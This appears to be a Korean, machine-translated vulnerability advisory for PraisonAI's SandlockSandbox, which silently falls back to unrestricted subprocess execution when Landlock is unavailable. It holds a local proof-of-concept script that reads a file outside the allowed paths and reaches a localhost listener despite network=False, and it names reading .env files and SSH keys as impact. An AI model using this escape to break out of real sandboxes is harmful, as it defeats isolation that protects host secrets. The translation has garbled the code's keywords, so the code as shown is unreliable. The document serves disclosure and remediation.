PraisonAI SandlockSandbox는 Landlock을 사용할 수 없을 때 무제한 하위 프로세스 실행으로 대체됩니다.
praisonai.sandbox.SandlockSandbox는 신뢰할 수 없는 코드에 대한 커널 적용 샌드박스 백엔드로 문서화되고 구현됩니다. SandboxConfig.native() 경로를 사용하면 호출자가 허용된 파일 시스템 경로와 network=False를 구성할 수 있습니다.
선택적 sandlock 모듈을 가져오지만 Landlock을 사용할 수 없다고 보고하는 시스템에서는 SandlockSandbox.execute() 및 run_command()가 실패 처리되지 않습니다. 그들은 조용히 SubprocessSandbox(self.config)로 돌아갑니다.
해당 폴백은 동일한 상위 수준 기본 정책 개체를 유지하지만 코드 실행 중에 기본 파일 시스템이나 네트워크 경계를 적용하지 않습니다. 샌드박스 페이로드는 network=False에도 불구하고 구성된 허용 경로 외부의 파일을 읽고 네트워크 연결을 열 수 있습니다.
SandboxConfig.native()는 제한된 기본 정책을 생성하고 호출자가 제공한 쓰기 가능 경로와 요청된 네트워크 상태를 기록합니다.
``파이썬 cls를 반환( sandbox_type="네이티브", Working_dir=os.getcwd(), security_policy=보안정책( allow_network=네트워크, allow_file_write=참, allow_subprocess=참, allowed_paths=resolved_paths, ), 메타데이터={"writable_paths": 해결_경로, "네트워크": 네트워크}, )
`SandlockSandbox`는 Landlock 지원 파일 시스템 허용 목록 및 네트워크 거부를 사용하여 의도된 커널 정책을 구축합니다.
``파이썬
정책 = 정책(
fs_reader=allowed_read_paths,
fs_writable=allowed_write_paths,
net_allow_hosts=[] 제한이 아닌 경우.network_enabled 그렇지 않은 경우 없음,
max_memory=f"{limits.memory_mb}M",
max_processes=limits.max_processes,
max_open_files=limits.max_open_files,
)
그러나 Sandlock을 사용할 수 없는 경우 두 실행 경로 모두 페일오픈됩니다.
``파이썬 self.is_available이 아닌 경우: logger.warning("샌드락을 사용할 수 없습니다. 하위 프로세스로 돌아갑니다.") .subprocess import SubprocessSandbox에서 대체 = SubprocessSandbox(self.config) return fallback.execute(code, 언어, 제한, env, Working_dir)를 기다립니다.
`SubprocessSandbox.execute()`는 임시 파일에 코드를 작성하고 최소한의 환경과 POSIX rlimits로 `python`을 실행합니다. 파일 시스템 샌드박스, 네트워크 네임스페이스, syscall 필터, chroot, Landlock 정책 또는 코드 실행 경로에 대한 경로 허용 목록은 설치하지 않습니다. `safe_sandbox_path()` 검사는 `read_file()`, `write_file()` 및 `list_files()` 도우미 메서드만 보호합니다.
### 이것이 의도한 동작이 아닌 이유
이 보고서는 단지 신뢰 모델의 불일치에만 근거한 것이 아닙니다. 코드와 문서는 구체적인 경계를 정의합니다.
- PraisonAI의 Sandlock README에 따르면 백엔드는 커널 수준 파일 시스템 허용 목록, 네트워크 격리, seccomp 필터링을 제공하고 '/etc/passwd', SSH 키, AWS 자격 증명 및 무단 연결을 차단합니다.
- 보안 데모에서는 `SandboxConfig.native(writable_paths=["./safe_workspace"], network=False)`를 생성하고 파일 및 네트워크 액세스에 차단된 작업으로 레이블을 지정합니다.
- 업스트림 `sandlock` 패키지에는 호환 가능한 Landlock ABI가 있는 Linux가 필요하며 호출자가 명시적으로 저하된 보호를 선택하지 않는 한 필수 보호 누락에 대한 장애 폐쇄 기본값을 문서화합니다.
- PraisonAI의 현재 보안 페이지에서는 샌드박스 실행을 권장하고 로컬 샌드박스 백엔드에 대해 경로 탐색 보호가 기본적으로 활성화되어 있다고 나와 있습니다.
버그는 사용할 수 없는 커널 적용 경계에서 구성된 기본 정책을 유지하지 않고 일반 하위 프로세스 실행으로 자동 대체되는 것입니다.
## PoV
PraisonAI 소스 체크아웃에서 실행:
``배쉬
python3 poc/pov_poc.py \
--repo /경로/to/PraisonAI
PoV:
SandboxConfig.native(writable_paths=[tenant_a], network=False)를 구성합니다.tenant-b-secret.txt를 생성합니다.SandlockSandbox.execute()를 통해 코드를 실행합니다.v4.6.58에서 관찰된 결과:
``json { "child_output": { "network_reply": "로컬-확인", "outside_read": "TENANT_B_CANARY" }, "configured_network": 거짓, "outside_path_under_allowed": 거짓, "sandlock_available": 거짓, "sandbox_type": "샌드락", "상태": "완료됨", "취약한": 사실 }
이는 두 정책 경계가 모두 교차되었음을 증명합니다.
- 파일 읽기 대상이 구성된 허용 경로 아래에 있지 않습니다.
- 기본 정책이 `network=False`로 생성되었음에도 불구하고 localhost 네트워크 연결이 성공합니다.
전체 PoV 스크립트:
``파이썬
#!/usr/bin/env python3
"""PoC에 대한 로컬 전용 PoV.
PoV는 선택적인 ``sandlock`` Python 패키지가 있는 시스템을 시뮬레이션합니다.
설치되었지만 커널 Landlock 지원을 사용할 수 없습니다. 그 지점이 바로 그 지점이에요
``SandlockSandbox.execute()``에 의해 처리됩니다: 경고를 기록하고 다음으로 대체됩니다.
``하위 프로세스샌드박스``.
외부 네트워크는 사용되지 않습니다. 네트워크 제어는 localhost TCP 수신기입니다.
중요한 호스트 파일은 읽혀지지 않습니다. 파일 시스템 제어는 임시 테넌트를 사용합니다.
구성된 쓰기 가능 경로 외부의 디렉터리 및 카나리아 파일.
"""
__future__에서 주석 가져오기
인수 가져오기
비동기 가져오기
import contextlib
JSON 가져오기
수입 OS
import pathlib
수입 소켓
수입 시스템
임시 파일 가져오기
수입 유형
import Any를 입력하여
def _repo_paths(repo: pathlib.Path) -> 목록[str]:
반환 [
str(repo / "src" / "praisonai"),
str(repo / "src" / "praisonai-agents"),
]
async def _accept_once(서버: 소켓.socket) -> str | 없음:
루프 = asyncio.get_running_loop()
def accept() -> 문자열:
콘, _ = server.accept()
콘과 함께:
데이터 = conn.recv(128)
conn.sendall(b"local-ok")
return data.decode("utf-8", "교체")
contextlib.suppress(예외) 사용:
return wait loop.run_in_executor(없음, 수락)
반환 없음
async def run_pov(repo: pathlib.Path) -> dict[str, Any]:
sandlock_path = repo / "src" / "praisonai" / "praisonai" / "sandbox" / "sandlock.py"
sandlock_path.exists()가 아닌 경우:
return {"repo": str(repo), "has_sandlock": False, "vulnerable": False}
sys.path[:0] = _repo_paths(repo)
# 원래 v4.5.110 API 검사와 현재 v4.6.58 API를 모두 지원합니다.
# "Sandlock not available" 분기를 강제하면서 확인합니다.
sys.modules["sandlock"] = 유형.SimpleNamespace(
is_available=lambda: 거짓,
landlock_abi_version=람다: 0,
)
praisonai.sandbox.sandlock에서 SandlockSandbox 가져오기
praisonaiagents.sandbox에서 ResourceLimits, SandboxConfig 가져오기
tempfile.TemporaryDirectory(prefix="poc-")를 temp_root로 사용:
기본 = pathlib.Path(temp_root)
# "python"이 PATH에 없는 시스템에서 PoV를 결정적으로 만듭니다.
빈디르(bindir) = 기본 / "빈"
바인더.mkdir()
(bindir / "python").symlink_to(sys.executable)
허용됨 = 기본 / "테넌트-a"
allowed.mkdir()
외부 = 기본 / "tenant-b-secret.txt"
외부.write_text("TENANT_B_CANARY", 인코딩="utf-8")
서버 = 소켓.socket(socket.AF_INET, 소켓.SOCK_STREAM)
서버.바인드(("127.0.0.1", 0))
서버.듣기(1)
서버.settimeout(5)
포트 = server.getsockname()[1]
config = SandboxConfig.native(writable_paths=[str(allowed)], network=False)
sandbox = SandlockSandbox(config=config)
sandbox.start()를 기다립니다.
코드 = f"""
JSON 가져오기
수입 소켓
결과 = {{}}
시도해 보세요:
open({str(outside)!r}, "r")을 f로 사용:
결과["outside_read"] = f.read()
제외 예외:
result["outside_read_error"] = type(exc).__name__ + ": " + str(exc)
시도해 보세요:
s = 소켓.create_connection(("127.0.0.1", {포트}), 시간 초과=3)
s.sendall(b"안녕하세요")
결과["network_reply"] = s.recv(32).decode("utf-8", "교체")
s.닫기()
제외 예외:
result["network_error"] = type(exc).__name__ + ": " + str(exc)
인쇄(json.dumps(결과, sort_keys=True))
"""
accept_task = asyncio.create_task(_accept_once(서버))
결과 = sandbox.execute를 기다립니다(
코드,
제한=자원한도(
timeout_seconds=10,
memory_mb=512,
max_processes=10,
max_open_files=64,
network_enabled=거짓,
),
env={"PATH": str(bindir)},
)
accept_payload = 없음
contextlib.suppress(예외) 사용:
accept_payload = accept_task 대기
서버.닫기()
sandbox.stop()을 기다립니다.
child_output: dict[str, Any] = {}
contextlib.suppress(예외) 사용:
child_output = json.loads(result.stdout.strip())
취약한 = (
child_output.get("outside_read") == "TENANT_B_CANARY"
및 child_output.get("network_reply") == "local-ok"
)
반환 {
"repo": str(repo),
"has_sandlock": 사실,
"sandbox_type": sandbox.sandbox_type,
"sandlock_available": sandbox.is_available,
"configured_allowed_paths": config.security_policy.allowed_paths,
"configured_network": config.security_policy.allow_network,
"outside_path_under_allowed": str(outside).startswith(str(allowed) + os.sep),
"상태": getattr(result.status, "이름", str(result.status)),
"exit_code": 결과.exit_code,
"stdout": 결과.stdout.strip(),
"stderr": 결과.stderr.strip(),
"오류": 결과.오류,
"어린이_출력": 어린이_출력,
"accepted_local_payload": Accepted_payload,
"취약한": 취약한,
}
def main() -> int:
파서 = argparse.ArgumentParser()
파서.add_argument("--repo", 필수=True, 유형=pathlib.Path)
args = 파서.parse_args()
결과 = asyncio.run(run_pov(args.repo.resolve()))
print(json.dumps(result, indent=2, sort_keys=True))
result.get("has_sandlock")이고 result.get("vulnerable")이 아닌 경우:
1을 반환
0을 반환
__name__ == "__main__"인 경우:
SystemExit(main()) 올리기
위의 PoV 섹션에는 로컬 재생 명령, 입력 및 결정적인 출력이 포함됩니다.
PraisonAI 사용자 또는 서비스가 필요한 Landlock 지원 없이 호스트에서 신뢰할 수 없는 코드 격리를 위해 SandlockSandbox/네이티브 샌드박스에 의존하는 경우 샌드박스에 제출된 코드는 호스트 사용자의 일반 파일 시스템 및 네트워크 액세스로 실행될 수 있습니다.
구체적인 영향에는 다음이 포함됩니다.
.env 파일, SSH 자료 또는 클라우드 구성을 읽습니다.network=False에도 불구하고 루프백 또는 내부 서비스에 연결합니다.로컬 PoV는 실제 중요한 파일을 읽거나 외부 시스템에 접속하지 않습니다. 임시 테넌트 디렉터리와 localhost TCP 수신기를 사용합니다.
요청된 기본 샌드박스 경계를 적용할 수 없는 경우 실패 처리됩니다.
권장되는 변경 사항:
SandlockSandbox.execute() 및 run_command()에서 실패한 SandboxResult를 반환하거나 self.is_available이 false인 경우 명확한 런타임 오류를 발생시킵니다.allow_degraded=True 또는 fallback="subprocess"와 같은 명시적인 옵트인을 요구하고 결과 메타데이터에 저하된 상태를 표시해야 합니다.sandbox_type == "sandlock"을 유지하지 마세요.network=False 및 제한된 경로가 포함된 기본 정책이 외부 경로 카나리아를 읽거나 로컬 호스트 리스너에 연결할 수 없다는 테스트를 추가합니다.MervinPraison/PraisonAIpraisonaisrc/praisonai/praisonai/sandbox/sandlock.pysrc/praisonai-agents/praisonaiagents/sandbox/config.pyv4.6.58, 1ad58ca02975ff1398efeda694ea2ab78f20cf3e영향을 받은 것으로 확인됨:
``텍스트 v4.5.110 취약함 v4.5.120 취약함 v4.6.58 취약함 현재 취약한
부정적인 통제:
``텍스트
v4.5.109는 SandlockSandbox가 없기 때문에 영향을 받지 않습니다.
제안된 영향 범위: >= 4.5.110, <= 4.6.58.
제출 시점에는 수정된 버전이 알려져 있지 않습니다.
``텍스트 버전 has_sandlock sandlock_available 상태 Outside_read network_reply 취약함 praisonai-v4.5.109 거짓 거짓 praisonai-v4.5.110 true false 완료됨 TENANT_B_CANARY local-ok true praisonai-v4.6.58 true false 완료됨 TENANT_B_CANARY local-ok true praisonai-current true false 완료됨 TENANT_B_CANARY local-ok true
`sandlock.py`에 대한 GitHub 기록에 따르면 백엔드는 2026년 4월 1일 `4ee7d298c89f`에 "SubprocessSandbox로의 우아한 폴백"을 사용하여 도입된 후 현재 Landlock ABI 검사를 사용하기 위해 2026년 4월 2일 `7ae6c6d19c31`에서 업데이트되었습니다.
## 자문 이력
인근 주의보는 다음과 같이 구별됩니다.
- `GHSA-r4f2-3m54-pp7q` / `CVE-2026-34955`: `SubprocessSandbox` 셸 명령은 `4.5.96`을 통해 탈출합니다.
- `GHSA-4mr5-g6f9-cfrh`, `GHSA-qf73-2hrx-xprp`, `GHSA-6vh2-h83c-9294`: `execute_code()` Python 샌드박스가 이스케이프됩니다.
- `GHSA-ch89-h4r2-c8f8`: 심볼릭 링크를 통해 에이전트 도구 작업 공간을 이스케이프합니다.
- `GHSA-gcq3-mfvh-3x25`: PraisonAI 코드 에이전트 도구 작업 공간 페일오픈.
이 보고서는 Landlock을 사용할 수 없는 경우 `SandlockSandbox`/기본 샌드박스 정책 다운그레이드라는 다양한 근본 원인을 다룹니다. 최신 릴리스 'v4.6.58'에서 재현되는 반면, 이전 'SubprocessSandbox' 셸 이스케이프 권고는 '4.5.97'에서 수정되었습니다.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 88.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 88.00 |
VPI 공식 vpi-v1 기준